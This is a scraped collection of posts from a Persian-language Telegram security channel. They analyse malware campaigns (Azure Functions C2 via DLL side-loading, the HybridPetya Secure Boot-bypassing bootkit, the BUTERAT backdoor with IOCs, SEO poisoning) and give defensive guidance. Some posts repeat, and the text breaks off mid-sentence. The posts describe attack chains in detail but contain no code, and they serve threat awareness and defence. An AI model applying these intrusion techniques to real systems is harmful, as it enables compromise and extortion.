اخیرا کاری ارزشمند از کانال تلگرامی @HackMeLocal در کامیونیتی فارسی دیدم در مورد چالش تست نفوذ رباتهای تلگرامی که بسیار جالب بود . ایده ای به ذهنم رسید که ابزاری برای آشنایی بیشتر علاقهمندان به این حوزه ایجاد کنم که هم یادگیری باشد و هم تست نفوذ . ابزار TBPenter آماده شد و در گیتهاب برای استفاده دوستان قرار گرفت 🌹
@NullError_ir
@NullError_ir
تحلیل بدافزار پیشرفتهای که با سوءاستفاده از Azure Functions از رادارها پنهان میشود
محققان امنیت سایبری از شناسایی یک کمپین بدافزاری پیچیده خبر دادهاند که با بهرهبرداری از سرویس serverless مایکروسافت، یعنی Azure Functions، برای زیرساخت Command and Control (C2) خود استفاده میکند. این تکنیک به مهاجمان اجازه میدهد تا ترافیک مخرب خود را در قالب ارتباطات مشروع با سرویسهای ابری مایکروسافت پنهان کرده و از شناسایی بگریزند. این رویکرد نشاندهنده تکامل تاکتیکهای مهاجمان برای ترکیب شدن با محیطهای سازمانی و افزایش پایداری (persistence) است.
فرایند کشف و تحلیل بدافزار با استفاده از VirusTotal
سرنخ اولیه برای شناسایی این تهدید نوین، از طریق تحلیل یک نمونه مشکوک در پلتفرم VirusTotal به دست آمد. این پلتفرم که سرویسهای تحلیلی و دهها موتور آنتیویروس را تجمیع میکند، به محققان اجازه داد تا به نشانههای اولیه از یک فعالیت مخرب پیشرفته دست یابند.
* نشانههای اولیه در VirusTotal:
1. نرخ شناسایی بسیار پایین (Low Detection Rate): در زمان آپلود اولیه، تعداد بسیار کمی از موتورهای آنتیویروس قادر به شناسایی فایلهای مخرب بودند. این خود یک زنگ خطر جدی برای تهدیدات جدید یا بسیار evasive است.
2. تحلیل رفتاری (Behavioral Analysis): گزارشهای Sandbox در VirusTotal نشان داد که یک فایل اجرایی معتبر و دارای امضای دیجیتال از شرکت Palo Alto Networks (با نام
PanGpHip.exe )، در حال برقراری ارتباطات شبکهای مشکوک به یک URL در دامنه azurewebsites.net است. این رفتار برای این پروسس خاص، غیرمنتظره و نامتعارف بود.3. ارتباطات فایل (File Relationships): تحلیلگر متوجه شد که این فایل اجرایی قانونی، یک فایل DLL بدون امضا و با اعتبار پایین (
libwaapi.dll ) را بارگذاری میکند که در کنار آن قرار داده شده بود. این الگو به وضوح به استفاده از تکنیک DLL Side-Loading اشاره داشت.این نشانههای کلیدی، محققان را بر آن داشت تا یک تحلیل عمیق و دستی (manual analysis) را آغاز کنند. مهندسی معکوس فایل DLL مخرب، در نهایت منجر به کشف کامل زنجیره حمله، مکانیزم تزریق به حافظه و پروتکل ارتباطی با سرور C2 شد که در ادامه تشریح میشود.
جزئیات فنی و زنجیره حمله (Attack Chain):
این حمله چند مرحلهای با یک فایل ISO آغاز میشود که به عنوان یک درایو نوری مجازی عمل کرده و مکانیزمهای دفاعی مرورگرها را دور میزند. درون این فایل ISO، یک فایل میانبر (LNK) مخرب قرار دارد.
1. نقطه ورود (Initial Access):
* عامل تهدید، یک فایل ISO را از طریق روشهای مهندسی اجتماعی توزیع میکند.
* درون فایل ISO، یک فایل LNK به همراه یک فایل اجرایی قانونی
PanGpHip.exe و دو فایل DLL (یکی قانونی و دیگری مخرب) پنهان شدهاند.2. اجرای اولیه و DLL Side-Loading:
* با کلیک کاربر روی فایل LNK، فایل اجرایی قانونی
PanGpHip.exe اجرا میشود.* این فایل اجرایی به دلیل آسیبپذیری در نحوه بارگذاری کتابخانههای دینامیکی، به جای DLL قانونی، فایل DLL مخرب (
libwaapi.dll ) را بارگذاری میکند. این تکنیک یک روش مؤثر برای اجرای کد مخرب تحت یک پروسس قابل اعتماد (trusted process) است.3. تزریق Payload به حافظه (In-Memory Injection):
۔* DLL مخرب پس از بارگذاری، یک shellcode رمزگذاریشده را در حافظه رمزگشایی (decrypt) میکند.
* سپس این shellcode به یک پروسس قانونی دیگر، یعنی
chakra.dll (موتور جاوا اسکریپت Microsoft Edge)، تزریق میشود تا ردپای کمتری از خود به جای بگذارد.4. ارتباط با زیرساخت C2 مبتنی بر Azure Functions:
۔* Shellcode نهایی، مسئول برقراری ارتباط با سرور C2 از طریق ارسال درخواستهای HTTPS به یک URL خاص در دامنه
azurewebsites.net است. از آنجایی که این دامنه متعلق به مایکروسافت است، ترافیک مذکور در نگاه اول مشروع به نظر میرسد.5. جمعآوری و استخراج داده (Data Collection & Exfiltration):
* پس از برقراری ارتباط، بدافزار شروع به جمعآوری اطلاعات پروفایل قربانی (نام کامپیوتر، نام کاربری، جزئیات سیستمعامل و...) کرده و به صورت رمزگذاری شده به سرور C2 ارسال میکند.
چرا این حمله پیشرفته و خطرناک است؟
* استفاده از زیرساخت ابری معتبر (Living-off-the-Cloud): سوءاستفاده از Azure Functions شناسایی ترافیک C2 را بسیار دشوار میسازد، زیرا مسدودسازی دامنههای Azure میتواند سرویسهای قانونی کسبوکار را مختل کند.
* زنجیره حمله چندمرحلهای و با حداقل ردپا (Low Footprint): اجرای بخشهای اصلی بدافزار در حافظه، تحلیل forensics را پیچیده کرده و شناسایی توسط آنتیویروسهای مبتنی بر امضا را ناکارآمد میسازد.
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
* گریز از تشخیص (Evasion): ترکیب یک فایل اجرایی معتبر، تکنیک DLL Side-Loading و پنهانسازی ترافیک در بستر HTTPS به یک سرویس ابری معتبر، به این بدافزار قدرت گریز بالایی بخشیده است.
راهکارهای مقابله و کاهش ریسک (Mitigation & Defense):
1. نظارت بر ترافیک شبکه (Network Traffic Monitoring):
* به جای blacklisting ، ترافیک خروجی به سرویسهای ابری مانند Azure را برای یافتن الگوهای غیرعادی (مانند beaconing منظم یا ارتباط از سوی پروسسهای نامرتبط) تحلیل کنید.
* از ابزارهای SSL/TLS Inspection (Decryption) برای بازرسی محتوای ترافیک رمزگذاری شده استفاده کنید.
2. تقویت امنیت Endpoint (Endpoint Hardening):
* از راهحلهای EDR (Endpoint Detection and Response) برای شناسایی تکنیکهایی مانند DLL Side-Loading و تزریق به حافظه استفاده کنید.
* قوانین Attack Surface Reduction (ASR) را در Microsoft Defender برای جلوگیری از اجرای کدهای مشکوک توسط فایلهای LNK فعال کنید.
3. آموزش و آگاهیرسانی کاربران:
* کاربران را در مورد خطرات فایلهای ISO و LNK آموزش دهید و بر لزوم احتیاط در اجرای فایلهای دانلودی تأکید کنید.
4. تحلیل بدافزار و Threat Hunting:
* به صورت فعالانه (proactive) به دنبال Indicators of Compromise (IoCs) مرتبط با این کمپین، مانند هش فایلها یا URLهای خاص
* کمپینهای Threat Hunting را با تمرکز بر جستجوی لاگهای اجرای پروسس برای یافتن موارد مشکوک از
@NullError_ir
راهکارهای مقابله و کاهش ریسک (Mitigation & Defense):
1. نظارت بر ترافیک شبکه (Network Traffic Monitoring):
* به جای blacklisting ، ترافیک خروجی به سرویسهای ابری مانند Azure را برای یافتن الگوهای غیرعادی (مانند beaconing منظم یا ارتباط از سوی پروسسهای نامرتبط) تحلیل کنید.
* از ابزارهای SSL/TLS Inspection (Decryption) برای بازرسی محتوای ترافیک رمزگذاری شده استفاده کنید.
2. تقویت امنیت Endpoint (Endpoint Hardening):
* از راهحلهای EDR (Endpoint Detection and Response) برای شناسایی تکنیکهایی مانند DLL Side-Loading و تزریق به حافظه استفاده کنید.
* قوانین Attack Surface Reduction (ASR) را در Microsoft Defender برای جلوگیری از اجرای کدهای مشکوک توسط فایلهای LNK فعال کنید.
3. آموزش و آگاهیرسانی کاربران:
* کاربران را در مورد خطرات فایلهای ISO و LNK آموزش دهید و بر لزوم احتیاط در اجرای فایلهای دانلودی تأکید کنید.
4. تحلیل بدافزار و Threat Hunting:
* به صورت فعالانه (proactive) به دنبال Indicators of Compromise (IoCs) مرتبط با این کمپین، مانند هش فایلها یا URLهای خاص
azurewebsites.net ، باشید.* کمپینهای Threat Hunting را با تمرکز بر جستجوی لاگهای اجرای پروسس برای یافتن موارد مشکوک از
PanGpHip.exe اجرا کنید.@NullError_ir
تحلیل HybridPetya : وقتی Ransomware با Bootkit ترکیب میشود تا Secure Boot را تسلیم کند
یک تهدید جدید و بسیار خطرناک به نام HybridPetya . این بدافزار صرفاً یک Ransomware دیگر نیست، بلکه ترکیبی هوشمندانه از یک Ransomware فایل (File Encryptor) و یک Bootkit است که با هدف قرار دادن فرآیند بوت سیستم، میتواند یکی از مهمترین مکانیزمهای امنیتی مدرن، یعنی UEFI Secure Boot ، را دور بزند.
### زنجیره حمله (Attack Chain): فراتر از یک اجرای ساده
برخلاف Ransomwareهای متداول که پس از اجرا شروع به رمزنگاری فایلها میکنند، HybridPetya یک زنجیره حمله چندمرحلهای و بسیار مخربتر را دنبال میکند:
1. دستیابی اولیه و افزایش سطح دسترسی (Initial Access & Privilege Escalation): مهاجمان در مرحله اول باید به سیستم قربانی نفوذ کرده و به سطح دسترسی مدیریتی (Administrator/SYSTEM) دست پیدا کنند. این مرحله از طریق روشهای متداول مانند حملات فیشینگ، بهرهبرداری از آسیبپذیریهای نرمافزاری یا استفاده از اطلاعات هویتی به سرقت رفته، انجام میشود. کسب این سطح از دسترسی برای اجرای مراحل بعدی حیاتی است.
2. آمادهسازی برای دستکاری Firmware: بدافزار پس از کسب دسترسی لازم، با فعال کردن پرمیژن
SeSystemEnvironmentPrivilege ، به خود اجازه دسترسی و تغییر در متغیرهای محیطی UEFI Firmware را میدهد. این پرمیژن کلید اصلی برای دستکاری در فرآیند بوت سیستم است.3. کاشت Bootkit در پارتیشن EFI:
* بدافزار ابتدا یک Bootloader قانونی و امضاشده (Signed) متعلق به شرکت ASRock را در پارتیشن سیستمی EFI (ESP) کپی میکند. این Bootloader دارای یک آسیبپذیری شناخته شده است.
* سپس، Bootloader مخرب و اصلی خود را که فاقد امضای دیجیتال معتبر است، در همین پارتیشن قرار میدهد.
* در نهایت، با استفاده از دسترسی به متغیرهای UEFI (که در مرحله قبل کسب کرد)، ترتیب بوت (
BootOrder) را تغییر میدهد تا سیستم در راهاندازی بعدی، ابتدا Bootloader آسیبپذیر ASRock را اجرا کند.4. اجرای پیش از سیستمعامل (Pre-OS Execution) و رمزنگاری MFT:
* پس از Restart شدن سیستم، UEFI Firmware ابتدا Bootloader مربوط به ASRock را بارگذاری میکند. از آنجایی که این فایل دارای امضای دیجیتال معتبر است، Secure Boot هیچ خطایی شناسایی نکرده و اجازه اجرای آن را میدهد.
* بوت لودر آسیبپذیر ASRock پس از اجرا، به مهاجم اجازه میدهد تا مکانیزمهای امنیتی را غیرفعال کرده و کنترل را به Bootloader مخرب و بدون امضا واگذار کند. در این لحظه، زنجیره اعتماد (Chain of Trust) که Secure Boot بر پایه آن بنا شده، شکسته میشود.
* بوت لودر مخرب کنترل کامل سیستم را در اختیار گرفته و با الهام از Ransomware Petya ، شروع به رمزنگاری Master File Table (MFT) درایو NTFS میکند. این کار باعث میشود ساختار فایل سیستم از بین رفته و سیستمعامل دیگر قادر به بوت شدن نباشد.
* در نهایت، یک یادداشت باجخواهی (Ransom Note) روی صفحه نمایش داده میشود و سیستم قفل میشود.
5. رمزنگاری فایلها (File Encryption): بخش "هیبریدی" این بدافزار به مؤلفه Ransomware آن بازمیگردد که پیش از راهاندازی مجدد سیستم**، فایلهای کاربر را نیز به صورت جداگانه رمزنگاری میکند. این یعنی حتی اگر قربانی راهی برای ترمیم MFT پیدا کند، فایلهایش همچنان رمزنگاری شده باقی میمانند.
قلب تپنده حمله: تکنیک Bypass کردن Secure Boot در سطح APT
تکنیکی که HybridPetya برای دور زدن Secure Boot استفاده میکند، یک نسخه از حملات شناخته شده به نام "Bring Your Own Vulnerable Driver" (BYOVD) است که در اینجا برای Bootloader پیادهسازی شده است. این تکنیک دقیقاً مشابه روشی است که توسط Bootkit بسیار پیشرفته BlackLotus (که به گروههای APT نسبت داده میشود) استفاده شد.
* منطق حمله: Secure Boot برای اطمینان از اینکه تنها کدهای معتبر (با امضای دیجیتال صحیح) در فرآیند بوت اجرا میشوند، طراحی شده است. مهاجمان با پیدا کردن یک قطعه کد قانونی و امضاشده (مانند یک درایور یا Bootloader) که دارای آسیبپذیری است، از "اعتماد" سیستم به آن امضا سوءاستفاده میکنند. آنها این قطعه کد معتبر را به عنوان یک "اسب تروآ" وارد سیستم کرده و سپس از طریق آسیبپذیری موجود در آن، کد مخرب و بدون امضای خود را اجرا میکنند.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
* چرا این روش بسیار خطرناک است؟ این تکنیک به مهاجمان اجازه میدهد تا در پایینترین لایههای نرمافزاری سیستم (پیش از بارگذاری سیستمعامل و راهحلهای امنیتی آن مانند آنتیویروس و EDR) کد خود را اجرا کنند. این سطح از پایداری (Persistence) و پنهانکاری، مشخصه بارز بدافزارهای مورد استفاده توسط گروههای APT است. اگرچه در این مورد خاص، هدف نهایی باجگیری است، اما توانایی فنی نمایش داده شده در سطح تهدیدات دولتی قرار دارد.
راهکارهای شناسایی، مقابله و پیشگیری (Detection, Mitigation & Prevention)
مقابله با چنین تهدیداتی نیازمند یک رویکرد دفاعی عمیق (Defense-in-Depth) است که فراتر از راهکارهای امنیتی سنتی باشد.
شناسایی و شکار تهدید (Detection & Threat Hunting):
1. پایش تغییرات در متغیرهای UEFI: تغییر در متغیر
2. نظارت بر پارتیشن ESP: هرگونه ایجاد یا تغییر فایلهای
3. شکار Bootloaderهای آسیبپذیر: تیمهای امنیتی باید یک پایگاه داده از هش (Hash) مربوط به Bootloaderها و درایورهای آسیبپذیر شناختهشده (مانند نمونه مورد استفاده از ASRock) تهیه کرده و به طور مداوم سیستمها را برای یافتن این فایلها اسکن کنند.
4. بررسی لاگهای سیستمی: به دنبال رویدادهایی باشید که به اعطای پرمیژن
پیشگیری و مقاومسازی (Prevention & Hardening):
1. بهروزرسانی پایگاه داده dbx : مهمترین راهکار برای مقابله با این نوع حملات، اطمینان از بهروز بودن Secure Boot Forbidden Signature Database (dbx) است. این پایگاه داده لیستی از امضاهای دیجیتال مربوط به Bootloaderها و کدهای آسیبپذیر شناختهشده را در خود دارد. سیستمعاملها و تولیدکنندگان سختافزار (OEMs) بهروزرسانیهایی برای
2. بهروزرسانی Firmware/BIOS: تولیدکنندگان سختافزار به طور مداوم Firmware خود را برای رفع آسیبپذیریها بهروز میکنند. نصب آخرین نسخه Firmware برای بستن حفرههای امنیتی ضروری است.
3. کنترل شدید دسترسیهای مدیریتی: از آنجایی که پیشنیاز این حمله دسترسی Administrator است، پیادهسازی اصل حداقل دسترسی (Principle of Least Privilege) و استفاده از راهکارهای AppLocker یا Windows Defender Application Control برای محدود کردن اجرای فایلهای اجرایی ناشناس، میتواند زنجیره حمله را در نطفه خفه کند.
4. فعالسازی Virtualization-Based Security (VBS) و HVCI: در ویندوز، فعال کردن ویژگیهایی مانند Hypervisor-Protected Code Integrity (HVCI) میتواند به طور قابل توجهی کار را برای بدافزارها در دستکاری حافظه کرنل و اجرای کدهای غیرمجاز سختتر کند و یک لایه دفاعی مدرن در برابر این نوع حملات ایجاد نماید.
### نتیجهگیری
۔HybridPetya یک زنگ خطر جدی است که نشان میدهد مرز بین تکنیکهای مورد استفاده توسط مجرمان سایبری و گروههای APT در حال محو شدن است. استفاده از Bootkit برای دور زدن Secure Boot، پایداری و پنهانکاری بدافزار را به سطح کاملاً جدیدی میرساند و راهکارهای امنیتی سنتی را بیاثر میکند. سازمانها دیگر نمیتوانند امنیت را فقط در لایه سیستمعامل و اپلیکیشنها جستجو کنند؛ امنیت Firmware و فرآیند بوت اکنون به یک بخش حیاتی از استراتژی دفاعی تبدیل شده است و نادیده گرفتن آن میتواند به فجایع امنیتی غیرقابل جبران منجر شود.
@NullError_ir
راهکارهای شناسایی، مقابله و پیشگیری (Detection, Mitigation & Prevention)
مقابله با چنین تهدیداتی نیازمند یک رویکرد دفاعی عمیق (Defense-in-Depth) است که فراتر از راهکارهای امنیتی سنتی باشد.
شناسایی و شکار تهدید (Detection & Threat Hunting):
1. پایش تغییرات در متغیرهای UEFI: تغییر در متغیر
BootOrder یا ایجاد ورودیهای بوت جدید در UEFI یک فعالیت بسیار مشکوک است و باید توسط تیمهای امنیتی به دقت رصد شود. ابزارهایی مانند chipsec میتوانند برای بازرسی پیکربندی Firmware استفاده شوند.2. نظارت بر پارتیشن ESP: هرگونه ایجاد یا تغییر فایلهای
*.efi در پارتیشن EFI System Partition (ESP) توسط فرآیندهایی غیر از بهروزرسانیهای رسمی سیستمعامل، باید به عنوان یک هشدار جدی تلقی شود.3. شکار Bootloaderهای آسیبپذیر: تیمهای امنیتی باید یک پایگاه داده از هش (Hash) مربوط به Bootloaderها و درایورهای آسیبپذیر شناختهشده (مانند نمونه مورد استفاده از ASRock) تهیه کرده و به طور مداوم سیستمها را برای یافتن این فایلها اسکن کنند.
4. بررسی لاگهای سیستمی: به دنبال رویدادهایی باشید که به اعطای پرمیژن
SeSystemEnvironmentPrivilege به فرآیندهای مشکوک اشاره دارند.پیشگیری و مقاومسازی (Prevention & Hardening):
1. بهروزرسانی پایگاه داده dbx : مهمترین راهکار برای مقابله با این نوع حملات، اطمینان از بهروز بودن Secure Boot Forbidden Signature Database (dbx) است. این پایگاه داده لیستی از امضاهای دیجیتال مربوط به Bootloaderها و کدهای آسیبپذیر شناختهشده را در خود دارد. سیستمعاملها و تولیدکنندگان سختافزار (OEMs) بهروزرسانیهایی برای
dbx منتشر میکنند که امضای این کدهای مخرب را بلاک میکند. بسیاری از سازمانها از این بهروزرسانی حیاتی غافل هستند.2. بهروزرسانی Firmware/BIOS: تولیدکنندگان سختافزار به طور مداوم Firmware خود را برای رفع آسیبپذیریها بهروز میکنند. نصب آخرین نسخه Firmware برای بستن حفرههای امنیتی ضروری است.
3. کنترل شدید دسترسیهای مدیریتی: از آنجایی که پیشنیاز این حمله دسترسی Administrator است، پیادهسازی اصل حداقل دسترسی (Principle of Least Privilege) و استفاده از راهکارهای AppLocker یا Windows Defender Application Control برای محدود کردن اجرای فایلهای اجرایی ناشناس، میتواند زنجیره حمله را در نطفه خفه کند.
4. فعالسازی Virtualization-Based Security (VBS) و HVCI: در ویندوز، فعال کردن ویژگیهایی مانند Hypervisor-Protected Code Integrity (HVCI) میتواند به طور قابل توجهی کار را برای بدافزارها در دستکاری حافظه کرنل و اجرای کدهای غیرمجاز سختتر کند و یک لایه دفاعی مدرن در برابر این نوع حملات ایجاد نماید.
### نتیجهگیری
۔HybridPetya یک زنگ خطر جدی است که نشان میدهد مرز بین تکنیکهای مورد استفاده توسط مجرمان سایبری و گروههای APT در حال محو شدن است. استفاده از Bootkit برای دور زدن Secure Boot، پایداری و پنهانکاری بدافزار را به سطح کاملاً جدیدی میرساند و راهکارهای امنیتی سنتی را بیاثر میکند. سازمانها دیگر نمیتوانند امنیت را فقط در لایه سیستمعامل و اپلیکیشنها جستجو کنند؛ امنیت Firmware و فرآیند بوت اکنون به یک بخش حیاتی از استراتژی دفاعی تبدیل شده است و نادیده گرفتن آن میتواند به فجایع امنیتی غیرقابل جبران منجر شود.
@NullError_ir
دوستان در این اواخر تماسهای از دوستان و آشنایان داشتم که میگفتن واتساپ اونا هک شده و در دست فرد دیگری هست . دو روز پیش خواستم مطلب بزنم گفتم شاید اشتباه از خودشون بوده و موضوع چیز دیگری است و بیخیال شدم تا اینکه الان یکی از کانالهای تلگرامی زده به نقل از منبع خبری گاردین که گفته مدیر امنیت واتساپ اخراج شده چون گفته که حدود ۱,۵۰۰ مهندس واتساپ دسترسی کامل (یا تقریباً کامل، بدون نظارت کافی) به دادههای کاربران داشتهاند، شامل اطلاعات شخصی مثل عکس پروفایل، آدرس آیپی، اطلاعات تماس و... همچنین ادعا شده روزانه بیش از ۱۰۰,۰۰۰ حساب کاربری دچار هک یا تسخیر (account takeover) شدهاند. و این نگرانیها را به مدیران عالی واتساپ و متا از جمله مارک زاکربرگ گزارش داده، ولی پاسخی جدی داده نشده، و در نهایت به دلیل همین گزارشها تحت فشار قرار گرفته، امتیازاتش کاهش یافته و سپس اخراج شده است.
عموما شمارههایی که واتساپ نداشتهاند تصاحب شده و اکانت واتساپ براشون فعال شده و چه استفادهای میشه خدا میدونه .
حالا از ما گفتن و از شما نشنیدن 😊 برای اینکه فردا داستان نشه به هر شکلی براتون یه راه ساده اینه برای خودتون و خانواده و .. مثلا اگر به دلایلی چند شماره سیمکارت دارید ( مثلا کاری و خانوادگی و غیره ) که واتساپ روش نیست از طریق dual apps یا با واتساپ بیزینس یه اکانت بسازید و دو مرحله ایش رو هم فعال کنید و حتما حتما روش جیمیلتون رو هم ست کنید بزارید کنار بمونه .. البته که پس گرفتن اون اکانت ساخته شده سخت نیست ولی تا بخواید خبردار بشید چی شده ( پیشگیری بهتر از درمان است )😊
@NullError_ir
عموما شمارههایی که واتساپ نداشتهاند تصاحب شده و اکانت واتساپ براشون فعال شده و چه استفادهای میشه خدا میدونه .
حالا از ما گفتن و از شما نشنیدن 😊 برای اینکه فردا داستان نشه به هر شکلی براتون یه راه ساده اینه برای خودتون و خانواده و .. مثلا اگر به دلایلی چند شماره سیمکارت دارید ( مثلا کاری و خانوادگی و غیره ) که واتساپ روش نیست از طریق dual apps یا با واتساپ بیزینس یه اکانت بسازید و دو مرحله ایش رو هم فعال کنید و حتما حتما روش جیمیلتون رو هم ست کنید بزارید کنار بمونه .. البته که پس گرفتن اون اکانت ساخته شده سخت نیست ولی تا بخواید خبردار بشید چی شده ( پیشگیری بهتر از درمان است )😊
@NullError_ir
بدافزار BUTERAT: بکدور پیشرفته برای حملات ماندگار
مقدمه: در دنیای تهدیدات سایبری، بدافزارها هر روز پیچیدهتر و پنهانکارتر میشوند. یکی از نمونههای برجسته این نسل جدید از تهدیدات ،
Backdoor.Win32.BUTERAT است. این بدافزار که توسط تیم اطلاعات تهدید Lat61 مورد تحلیل قرار گرفته، یک بکدور خطرناک است که با هدف ایجاد دسترسی پایدار و بلندمدت در شبکههای سازمانی و دولتی طراحی شده است. برخلاف بدافزارهایی که بهدنبال تخریب فوری یا سرقت آنی اطلاعات هستند، BUTERAT با تمرکز بر پنهانکاری و ماندگاری، به مهاجمان اجازه میدهد تا کنترل کامل سیستمهای آلوده را در دست گرفته، payloadهای بیشتری را تزریق کنند، اطلاعات حساس را به سرقت ببرند و در شبکه بهصورت جانبی حرکت کنند (Lateral Movement).آناتومی فنی و تکنیکهای تهاجمی
۔BUTERAT مجموعهای از تکنیکهای پیشرفته را برای نفوذ، پایداری و پنهانسازی فعالیتهای خود به کار میگیرد که آن را در سطح تهدیدات پیشرفته و مستمر (APT) قرار میدهد.
۱. مکانیزم پایداری
پس از اجرای اولیه، BUTERAT برای اطمینان از بقای خود حتی پس از راهاندازی مجدد سیستم، اقدام به دستکاری رجیستری ویندوز میکند. این بدافزار با ایجاد یا تغییر کلیدهای رجیستری، خود را در فرآیند Startup سیستمعامل قرار میدهد. علاوه بر این، فرآیندهای خود را تحت نامهای سرویسهای سیستمی و مشروع ویندوز مخفی میکند تا از دید ابزارهای مانیتورینگ اولیه پنهان بماند.
۲. تکنیک ربایش Thread از طریق SetThreadContext
یکی از پیچیدهترین و قابلتوجهترین تکنیکهای مورد استفاده توسط BUTERAT، سوءاستفاده از تابع API ویندوز به نام
SetThreadContext است. این تکنیک که به آن Thread Hijacking نیز گفته میشود، به بدافزار اجازه میدهد تا یک Thread فعال در یک فرآیند مشروع را به حالت تعلیق (Suspend) درآورد، Context (مجموعه رجیسترهای CPU) آن را با مقادیر دلخواه خود جایگزین کند و سپس اجرای Thread را از سر بگیرد.این روش چندین مزیت استراتژیک برای مهاجم دارد:
* پنهانکاری فوقالعاده: از آنجایی که هیچ فرآیند جدیدی ایجاد نمیشود، شناسایی آن برای ابزارهای امنیتی مبتنی بر رفتار (Behavioral-based) بسیار دشوار است.
* دور زدن مکانیزمهای دفاعی: بسیاری از راهکارهای امنیتی، بر روی مانیتورینگ نقطه ورود (Entry Point) فرآیندها تمرکز دارند. این تکنیک، نقطه ورود را دور زده و کد مخرب را مستقیماً در حافظه یک فرآیند معتبر اجرا میکند.
۳. ارتباطات فرمان و کنترل
۔BUTERAT برای دریافت دستورات و ارسال اطلاعات، از کانالهای ارتباطی رمزنگاریشده (Encrypted) یا مبهمسازیشده (Obfuscated) استفاده میکند. این امر تحلیل ترافیک شبکه و شناسایی ارتباطات مخرب را برای تیمهای امنیتی به یک چالش جدی تبدیل میکند.
در تحلیلهای صورتگرفته، مشخص شده است که این بدافزار با سرور C2 خود در آدرس
http://ginomp3.mooo.com/ ارتباط برقرار میکند.یک نسخه خاص از این بدافزار با نام
Backdoor.Win32.Buterat.cxq رفتاری متفاوت از خود نشان میدهد؛ این نسخه بستههای SYN را به پورت TCP شماره 3000 ارسال میکند که میتواند به عنوان یک شناسه شناسایی در ترافیک شبکه مورد استفاده قرار گیرد.۴. افزایش سطح دسترسی
نسخه
Buterat.cxq یک آسیبپذیری خطرناک در سیستم قربانی ایجاد میکند. این بدافزار یک دایرکتوری با نام C:\process ایجاد کرده و به گروه کاربری Authenticated Users سطح دسترسی تغییر (Change Permission) میدهد. این پیکربندی ناامن به یک کاربر با سطح دسترسی پایین اجازه میدهد تا فایلهای اجرایی خود را در این مسیر قرار داده و با سطح دسترسی بالاتر اجرا کند. این تکنیک در چارچوب MITRE ATT&CK تحت شناسه T1222: File and Directory Permissions Modification طبقهبندی میشود.شاخصهای آلودگی:
برای شناسایی و شکار این تهدید، تیمهای امنیتی میتوانند از IOCهای زیر بهرهبرداری کنند:
شاخصهای شبکه (Network IOCs):
* دامنه C2:
ginomp3.mooo.com* ترافیک غیرعادی: هرگونه ترافیک خروجی به دامنه بالا یا ارسال بستههای SYN به پورت TCP
3000.شاخصهای مبتنی بر میزبان:
* ایجاد دایرکتوری: وجود دایرکتوری
C:\process با سطح دسترسی ناامن.* فایلهای Dropped شده: مشاهده فایلهای اجرایی زیر در مسیر
C:\Users\Admin (یا پروفایل کاربر فعال):*
amhost.exe*
bmhost.exe*
cmhost.exe*
dmhost.exe*
lqL1gG.exeسخن پایانی
۔
Backdoor.Win32.BUTERAT نمونهای کامل از یک بدافزار مدرن، پنهانکار و پایدار است که با هدف نفوذ عمیق و بلندمدت به زیرساختهای حیاتی طراحی شده است. استفاده از تکنیکهای پیشرفتهای مانند Thread Hijacking و ایجاد کانالهای ارتباطی رمزنگاریشده، نشاندهنده سطح بالای مهارت توسعهدهندگان آن است@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
ساده اما کاربردی
یک ابزار مانیتورینگ فرآیندهای سیستم مبتنی بر ترمینال (TUI) که با زبان Go نوشته شده است.
## ✨ ویژگیها
* لیست زنده پروسس ها: نمایش لحظهای تمام فرآیندهای سیستم به همراه روابط (Parents - children).
* جزئیات پروسس : نمایش جزئیات کامل هر فرآیند شامل منابع مصرفی (CPU و حافظه)، فایلهای باز شده و اتصالات شبکه.
* تحلیل پروسس: مجهز به یک موتور قوانین ساده برای شناسایی فعالیتهای مشکوک (مانند اجرا از مسیرهای نامعتبر یا باینریهای حذف شده).
* مانیتورینگ شبکه: نمایش تمام اتصالات شبکه برای هر فرآیند به همراه IP لوکال، IP ریموت و IP عمومی اینترنت شما.
* جستجو و فیلتر آنی: قابلیت جستجوی سریع در میان تمام فرآیندها بر اساس نام، PID
* حالت فریز (Freeze): فرآیند در پنل جزئیات آن "فریز" میشود تا بتوانید اطلاعات را با دقت بررسی، کپی یا اسکرینشات تهیه کنید، در حالی که لیست فرآیندها زنده باقی میماند.
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
کمپین جدید SEO Poisoning:
هدف قرار دادن کاربران با سایتهای دارای نرمافزار آلوده
یک کمپین بسیار پیچیده با استفاده از تکنیک SEO Poisoning، کاربران چینیزبان سیستمعامل ویندوز را هدف قرار داده است. مهاجمان در این حمله، با ایجاد دامنههای جعلی که شباهت بسیار زیادی به وبسایتهای اصلی نرمافزارهای محبوب (مانند DeepL) دارند و دستکاری نتایج جستجو، کاربران را به سمت دانلود نصبکنندههای آلوده (Weaponized Installers) هدایت میکنند.
فاز اول: فریب و دسترسی اولیه (Deception & Initial Access)
زنجیره حمله با یک جستجوی ساده توسط کاربر آغاز میشود.
1۔ SEO Poisoning: مهاجمان با استفاده از پلاگینهای سئو و تکنیکهای دیگر، وبسایتهای مخرب خود را برای جستجوی نرمافزارهای پرطرفدار، به رتبههای بالای موتورهای جستجو میرسانند.
2۔ Lookalike Domains: دامنههای استفاده شده در این حمله، با تفاوتهای جزئی (مانند یک حرف اضافه یا جابجا) نسبت به دامنه اصلی طراحی شدهاند تا مشروع به نظر برسند.
3۔ Lure: کاربری که به دنبال نرمافزاری مانند DeepL میگردد، روی لینک مخرب کلیک کرده و وارد صفحهای کاملاً مشابه با وبسایت اصلی میشود. این صفحه کاربر را تشویق به دانلود فایل نصبکننده میکند.
فاز دوم: مکانیزم آلودگی و اجرای چندمرحلهای
هسته اصلی این حمله، یک اسکریپت لودر به نام
nice.js است که در وبسایت جعلی تعبیه شده. این اسکریپت یک فرآیند دانلود چندمرحلهای و هوشمندانه را برای پنهان کردن URL نهایی payload اجرا میکند.1. اسکریپت nice.js : به محض بارگذاری صفحه، این اسکریپت فعال شده و یک زنجیره از درخواستها را برای دریافت URL نهایی فایل نصبکننده ارسال میکند. این فرآیند با دریافت پاسخهای JSON، مرحله به مرحله به لینک نهایی میرسد. این تکنیک به مهاجم اجازه میدهد تا Payload را بر اساس نوع دستگاه کاربر یا دامنه مبدأ، به صورت پویا تغییر دهد و از شناسایی شدن فرار کند.
2. نصبکننده MSI آلوده: کاربر نهایتاً یک فایل نصبکننده MSI را دانلود میکند. این فایل شامل نصبکننده قانونی نرمافزار DeepL است که با یک فایل DLL مخرب به نام
